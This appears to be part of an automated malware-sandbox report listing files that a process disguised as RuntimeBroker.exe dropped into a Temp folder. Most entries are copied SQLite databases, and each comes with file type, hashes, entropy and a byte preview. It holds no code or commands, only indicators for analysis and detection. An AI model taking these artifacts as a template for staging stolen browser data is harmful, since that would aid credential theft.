Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2DSZZv91SN

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2LwTORQfM1

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\2YTdqYC4XB

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2eGF4TOpJV

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3EoRa2P8Mg

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3HA3FpPsH5

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3ddVzKocYm

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3yZseVvm4W

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\49hG5zVaby

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\49uU5WCy5u

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4GRvr2IuRW

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4YEzcS5aFW

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4frOErC1oE

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\53FdGn6QVh

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5VJclX79xI

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5lHydYHqD2

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5nxCXw5jRR

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6Z3ryRPgtl

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6cOYh4rudy

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6g5yryjny5

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6tFwrGSUBK

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\77hQiU6zWZ

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7Ctmw8kRYx

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7H2evp8CYB

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7YEWzJf4Pu

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7kZyA47GFN

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
